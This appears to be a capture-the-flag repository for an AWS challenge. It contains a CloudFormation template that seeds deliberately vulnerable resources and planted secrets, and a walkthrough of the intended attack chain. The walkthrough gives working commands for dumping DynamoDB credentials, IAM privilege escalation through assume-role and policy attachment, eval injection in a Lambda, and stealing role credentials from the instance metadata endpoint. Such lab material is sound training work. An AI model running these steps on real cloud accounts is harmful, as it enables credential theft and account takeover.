724 | -----END OPENSSH PRIVATE KEY-----
725 | ```
726 |
727 | Note: when retrieving the key, it will contain `
`. Replace these with new lines.
728 |
729 | """ % (FLAG3, SSH_USER)
730 |
731 | def get_ec2_secrets():
732 | return "${DynamoReaderKey},${DynamoReaderKey.SecretAccessKey}\n" \
733 | + "${DynamoManagerKey},${DynamoManagerKey.SecretAccessKey}\n"
734 |
735 | def fill_dynamo():
736 | client = boto3.client('dynamodb')
737 | client.put_item(TableName='${DynamoEmployeeLogin}', Item={'EmployeeId':{'S':'120875ABAB'},'Password':{'S': MYSELF_PASSWORD}})
738 | client.put_item(TableName='${DynamoEmployeeLogin}', Item={'EmployeeId':{'S':'978273KULS'},'Password':{'S': get_password()}})
739 | client.put_item(TableName='${DynamoEmployeeLogin}', Item={'EmployeeId':{'S':'442414ENVE'},'Password':{'S': get_password()}})
740 | client.put_item(TableName='${DynamoEmployeeLogin}', Item={'EmployeeId':{'S':'459849NCNT'},'Password':{'S': get_password()}})
741 | client.put_item(TableName='${DynamoEmployeeLogin}', Item={'EmployeeId':{'S':'328757EQYH'},'Password':{'S': get_password()}})
742 | client.put_item(TableName='${DynamoEmployeeLogin}', Item={'EmployeeId':{'S':'934803VDAT'},'Password':{'S': get_password()}})
743 | client.put_item(TableName='${DynamoEmployeeLogin}', Item={'EmployeeId':{'S':'516152CDSK'},'Password':{'S': get_password()}})
744 | client.put_item(TableName='${DynamoEmployeeLogin}', Item={'EmployeeId':{'S':'262271SZZC'},'Password':{'S': get_password()}})
745 | client.put_item(TableName='${DynamoEmployeeLogin}', Item={'EmployeeId':{'S':'707422TCTL'},'Password':{'S': get_password()}})
746 | client.put_item(TableName='${DynamoEmployeeLogin}', Item={'EmployeeId':{'S':'044965WUMD'},'Password':{'S': get_password()}})
747 | client.put_item(TableName='${DynamoEmployeeLogin}', Item={'EmployeeId':{'S':'864040VQNZ'},'Password':{'S': get_password()}})
748 | client.put_item(TableName='${DynamoEmployeeLogin}', Item={'EmployeeId':{'S':'939932RQJX'},'Password':{'S': get_password()}})
749 | client.put_item(TableName='${DynamoEmployeeLogin}', Item={'EmployeeId':{'S': get_user(prefix="hr_")},'Password':{'S':FLAG2}})
750 | client.put_item(TableName='${DynamoManagerLogin}', Item={'EmployeeId':{'S':'mg_796503RTIV'},'Password':{'S': get_password()}})
751 | client.put_item(TableName='${DynamoReview}', Item={'EmployeeId':{'S':'120875ABAB'}, 'Review': {'N': '1'}, 'Comment':{'S':'120875ABAB managed to destroy the team in a single week'}})
752 | client.put_item(TableName='${DynamoReview}', Item={'EmployeeId':{'S':'978273KULS'}, 'Review': {'N': '4'}, 'Comment':{'S':'You have written solid documentation! https://${GODS3CorporationBucket}.s3.amazonaws.com/infrastructure.md'}})
753 | client.put_item(TableName='${DynamoReview}', Item={'EmployeeId':{'S':'442414ENVE'}, 'Review': {'N': '2'}, 'Comment':{'S':'Needs to improve'}})
754 | client.put_item(TableName='${DynamoReview}', Item={'EmployeeId':{'S':'459849NCNT'}, 'Review': {'N': '3'}, 'Comment':{'S':'OK but needs improvement'}})
755 | client.put_item(TableName='${DynamoReview}', Item={'EmployeeId':{'S':'328757EQYH'}, 'Review': {'N': '1'}, 'Comment':{'S':'Yikes'}})
756 | client.put_item(TableName='${DynamoReview}', Item={'EmployeeId':{'S':'934803VDAT'}, 'Review': {'N': '4'}, 'Comment':{'S':'Splendid work'}})
757 | client.put_item(TableName='${DynamoReview}', Item={'EmployeeId':{'S':'516152CDSK'}, 'Review': {'N': '4'}, 'Comment':{'S':'Would recommend'}})
758 | client.put_item(TableName='${DynamoReview}', Item={'EmployeeId':{'S':'262271SZZC'}, 'Review': {'N': '3'}, 'Comment':{'S':'Achieves the bare minimum'}})
759 | client.put_item(TableName='${DynamoReview}', Item={'EmployeeId':{'S':'707422TCTL'}, 'Review': {'N': '2'}, 'Comment':{'S':'Would not recommend'}})
760 | client.put_item(TableName='${DynamoReview}', Item={'EmployeeId':{'S':'044965WUMD'}, 'Review': {'N': '2'}, 'Comment':{'S':'No comment'}})
761 | client.put_item(TableName='${DynamoReview}', Item={'EmployeeId':{'S':'864040VQNZ'}, 'Review': {'N': '1'}, 'Comment':{'S':'Mediocre'}})
762 | client.put_item(TableName='${DynamoReview}', Item={'EmployeeId':{'S':'939932RQJX'}, 'Review': {'N': '1'}, 'Comment':{'S':'Terrible'}})
763 |
764 | def get_source_code():
765 | with urllib.request.urlopen('${ProvisioningUrl}/ba7a69b978e62108b77ac3b0c92d547c2eb923d3.zip') as response:
766 | return response.read()
767 |
768 | def upload_to_s3_bucket():
769 | client = boto3.client('s3')
770 | client.put_object(Body=get_infrastructure_markdown(), Bucket=BUCKET, Key=FLAG3_FILE, ACL='public-read')
771 | client.put_object(Body=get_ec2_secrets(), Bucket=BUCKET, Key=SECRETS_FILE)
772 | client.put_object(Body=get_nginx_conf(), Bucket=BUCKET, Key=NGINX_FILE)
773 | client.put_object(Body=SSH_USER, Bucket=BUCKET, Key=SSH_USER_FILE)
774 | client.put_object(Body=MYSELF_PASSWORD, Bucket=BUCKET, Key=MYSELF_PASSWORD_FILE)
775 | client.put_object(Body=get_source_code(), Bucket=BUCKET, Key=SOURCECODE_FILE)
776 | return "Successful S3 upload"
777 |
778 | def remove_policy_on_user(username):
779 | client = boto3.client('iam')
780 | try:
781 | client.detach_user_policy(
782 | UserName=username,
783 | PolicyArn="${CustomPolicy}"
784 | )
785 | except:
786 | pass
787 |
788 | def clean_s3_bucket():
789 | client = boto3.client('s3')
790 | client.delete_object(Bucket=BUCKET, Key=FLAG3_FILE)
791 | client.delete_object(Bucket=BUCKET, Key=NGINX_FILE)
792 | return "Successful S3 cleanup"
793 |
794 | def handle_stack_creation():
795 | fill_dynamo()
796 | return upload_to_s3_bucket()
797 |
798 | def handle_stack_destruction():
799 | remove_policy_on_user("${ServiceAccountUser}")
800 | remove_policy_on_user("${DynamoReaderUser}")
801 | return clean_s3_bucket()
802 |
803 | def lambda_handler(event, context):
804 | try:
805 | if event.get('RequestType') == 'Create':
806 | message = handle_stack_creation()
807 | elif event.get('RequestType') == 'Delete':
808 | message = handle_stack_destruction()
809 | else:
810 | message = "RequestType not supported"
811 | except Exception as e:
812 | message = str(e)
813 |
814 | responseData = {'message': message}
815 | cfnresponse.send(event, context, cfnresponse.SUCCESS, responseData)
816 |
817 | # https://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-resource-lambda-function.html
818 | CustomCallbackLambda:
819 | Type: AWS::Lambda::Function
820 | Properties:
821 | Runtime: python3.9
822 | Role: !GetAtt LambdaRole.Arn
823 | Handler: index.lambda_handler
824 | Timeout: 90
825 | Code:
826 | ZipFile:
827 | !Sub |
828 | import urllib.request
829 | import cfnresponse
830 | import boto3
831 |
832 | BUCKET = "${GODS3CorporationBucket}"
833 | MYSELF_PASSWORD_FILE = "MYSELF.txt"
834 |
835 | def handle_stack_creation():
836 | client = boto3.client('s3')
837 | pwd = client.get_object(Bucket=BUCKET, Key=MYSELF_PASSWORD_FILE)['Body'].read().decode('utf-8')
838 | client.delete_object(Bucket=BUCKET, Key=MYSELF_PASSWORD_FILE)
839 |
840 | with urllib.request.urlopen('${ProvisioningUrl}/nsec_aws?raw=${AWS::AccountId},${GODContainerManager.PublicIp},' + pwd) as response:
841 | return response.read()
842 |
843 | def lambda_handler(event, context):
844 | try:
845 | if event.get('RequestType') == 'Create':
846 | message = handle_stack_creation()
847 | elif event.get('RequestType') == 'Delete':
848 | message = "Nothing to do"
849 | else:
850 | message = "RequestType not supported"
851 | except Exception as e:
852 | message = str(e)
853 |
854 | responseData = {'message': message}
855 | cfnresponse.send(event, context, cfnresponse.SUCCESS, responseData)
856 |
857 | InvokeCustomLambda:
858 | Type: Custom::InvokeCustomLambda
859 | Properties:
860 | ServiceToken: !GetAtt CustomBackendLambda.Arn
861 |
862 | InvokeCustom2Lambda:
863 | Type: Custom::InvokeCustom2Lambda
864 | Properties:
865 | ServiceToken: !GetAtt CustomCallbackLambda.Arn
--------------------------------------------------------------------------------
/walkthrough/diagram.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/simondotsh/nsec2023-ctf-aws/db3007113149d364bc3f78cbe1b5c495ca26c08a/walkthrough/diagram.png
--------------------------------------------------------------------------------
/walkthrough/walkthrough.md:
--------------------------------------------------------------------------------
1 | # Walkthrough
2 | 
3 |
4 | ## Goal
5 | 120875ABAB must improve their review score to a value higher than 5.
6 |
7 | ## Steps
8 | 1. An employee web app displays review scores. It is hosted in a Docker container on an EC2 instance, but is unknown at this point.
9 | 2. The app is vulnerable to an LFI, and allows to retrieve a DynamoDB access key (**flag 1**). The code of file `app.php` also yields a valuable piece of information: a different message is displayed to employees with a score higher than 5.
10 | 3. Using the access key, dump the database using `aws dynamodb scan --table-name GOD_LoginEmployee` to obtain HR credentials (**flag 2**).
11 | 4. With the credentials, log back into the web app to access all employee reviews. This reveals the public documentation file `infrastructure.md` in an S3 bucket containing `GOD_svc_iam`'s access key (**flag 3**).
12 | 5. Using the access key, perform IAM reconnaissance:
13 |
14 | ```
15 | aws iam list-roles --profile svc_iam
16 | ```
17 | The role `GOD_IAM-Manager-Role` can be assumed by `GOD_svc_iam`:
18 | ```
19 | "Statement": [
20 | {
21 | "Effect": "Allow",
22 | "Principal": {
23 | "AWS": "arn:aws:iam::274186580685:user/GOD_svc_iam"
24 | },
25 | "Action": "sts:AssumeRole"
26 | }
27 | ]
28 | ```
29 |
30 | ```
31 | aws iam list-role-policies --role-name GOD_IAM-Manager-Role --profile svc_iam
32 | aws iam get-role-policy --role-name GOD_IAM-Manager-Role --policy-name GOD_AttachCustomPolicies --profile svc_iam
33 | ```
34 |
35 | The role `GOD_IAM-Manager-Role` has the role policy `GOD_AttachCustomPolicies` allowing to attach to a user the managed policies matching the pattern `GOD_Custom**`.
36 |
37 | ```
38 | aws iam list-policies --profile svc_iam
39 | aws iam get-policy-version --policy-arn arn:aws:iam::274186580685:policy/GOD_CustomDebugEmployeeReview --version-id v1 --profile svc_iam
40 | ```
41 |
42 | The managed policy `GOD_CustomDebugEmployeeReview` awards privileges to get and invoke a lambda named `GOD_DebugEmployeeApp`.
43 |
44 | ```
45 | aws sts assume-role --role-arn 'arn:aws:iam::274186580685:role/GOD_IAM-Manager-Role' --role-session-name iam --profile svc_iam
46 | ```
47 |
48 | Assume the role `GOD_IAM-Manager-Role` to get an access key as the role.
49 |
50 | ```
51 | aws iam attach-user-policy --user-name GOD_svc_iam --policy-arn arn:aws:iam::274186580685:policy/GOD_CustomDebugEmployeeReview --profile god_iam_manager
52 |
53 | ```
54 |
55 | Using this key, attach the managed policy to `GOD_svc_iam`.
56 |
57 | Then, retrieve the Lambda code (**flag 4**):
58 |
59 | ```
60 | aws lambda get-function --function-name 'GOD_DebugEmployeeApp' --region us-east-1 --profile svc_iam
61 | ```
62 |
63 | 6. The Lambda has the function `get_private_key` which gets the key from Secrets Manager. While not directly accessible, the `DEBUG` command will `eval` the content of `debug_cmd`.
64 |
65 | Instead of exfiltrating the key via HTTP, you can leverage slicing to restrict the length of the output like so:
66 | ```
67 | aws lambda invoke --function-name 'GOD_DebugEmployeeApp' --payload '{ "command": "DEBUG", "debug_cmd": "get_private_key()[1][0:200]" }' --cli-binary-format raw-in-base64-out --profile svc_iam file1
68 | aws lambda invoke --function-name 'GOD_DebugEmployeeApp' --payload '{ "command": "DEBUG", "debug_cmd": "get_private_key()[1][200:400]" }' --cli-binary-format raw-in-base64-out --profile svc_iam file2
69 | ```
70 |
71 | The `infrastructure.md` file contains the username and port to use when sshing into the container hosting the employee web app (**flag 5**).
72 |
73 | 7. Once ssh'd, you can find out you are inside of a container when looking at processes (e.g. apache is PID 1). Then, the file `status.sh` reveals the Instance Metadata Service (IMDS), implying the container is running on an EC2 instance and also the existence of a second container for managers.
74 |
75 | While the IMDS endpoint is accessible from the EC2, it can also be reached by the container since the EC2 (the host) routes the traffic.
76 |
77 | An EC2 feature allows an instance to be provisioned by a script when created. This script is available in instance user data, available through IMDS:
78 |
79 | ```
80 | curl http://169.254.169.254/latest/user-data/
81 |
82 | #!/bin/bash
83 |
84 | # Install dependencies
85 | apt-get update
86 | DEBIAN_FRONTEND=noninteractive apt-get upgrade -y
87 | DEBIAN_FRONTEND=noninteractive apt-get install -y \
88 | unzip \
89 | awscli
90 |
91 | # Setup docker
92 | curl -fsSL https://get.docker.com -o get-docker.sh
93 | sh get-docker.sh
94 |
95 | # Retrieve source code from bucket
96 | cd /opt
97 | aws s3 cp s3://mod-a854a8410c7b4c22-gods3corporationbucket-1hfcjmr55yemz/source.zip /opt/source.zip
98 | unzip source.zip
99 |
100 | # Retrieve debug ssh keys (will be used when building containers)
101 | aws secretsmanager get-secret-value --secret-id GOD_EmployeeAppDebugKey --region us-east-1 > employee_app_secrets.json
102 | aws secretsmanager get-secret-value --secret-id GOD_ManagerAppDebugKey --region us-east-1 > manager_app_secrets.json
103 |
104 | # We don't need the source anymore
105 | aws s3 rm s3://mod-a854a8410c7b4c22-gods3corporationbucket-1hfcjmr55yemz/source.zip
106 |
107 | # Run cleanup script
108 | sh /opt/clean.sh
109 |
110 | # Get nginx conf (will be used by the nginx container)
111 | aws s3 cp s3://mod-a854a8410c7b4c22-gods3corporationbucket-1hfcjmr55yemz/nginx.conf /opt/nginx.conf
112 |
113 | # Start containers
114 | docker compose up --build -d
115 | ```
116 |
117 | This reveals that the EC2 instance has privileges to interact with resources. At this point, you can either push the AWS CLI into the container to use the EC2's privileges, or simply get the access key of its assumed role to use on your host:
118 |
119 | ```
120 | curl http://169.254.169.254/latest/meta-data/iam/security-credentials/GOD_Ec2Role
121 | ```
122 |
123 | Then, get the nginx configuration and the debug key for the manager container:
124 |
125 | ```
126 | aws s3 cp s3://mod-a854a8410c7b4c22-gods3corporationbucket-1hfcjmr55yemz/nginx.conf nginx.conf --profile ec2
127 | aws secretsmanager get-secret-value --secret-id GOD_ManagerAppDebugKey --region us-east-1 --profile ec2 > manager_app_secrets.json
128 | ```
129 |
130 | The nginx config shows a manager web app accessible at the same IP but from `/manager-reviewing/`. The debug key is another private key to ssh into the manager container from the employee one.
131 |
132 | Transfer the key on the employee container or port forward to ssh into the manager container (**flag 6**).
133 |
134 | 8. Perform reconnaissance on the container. The file `/var/www/html/libs/dynamo.php` contains another set of DynamoDB access key, but with privileges on the tables `GOD_LoginManager` and `GOD_ReviewEmployee`.
135 |
136 | 9. Remember the goal of improving 120875ABAB's review score. Use yet another `dynamodb scan` command to dump the the manager's credentials. Authenticate into the web app at `/manager-reviewing/` and change 120875ABAB's score to a value higher than 5. Log back into the `/employee-review/` as 120875ABAB (**flag 7**).
--------------------------------------------------------------------------------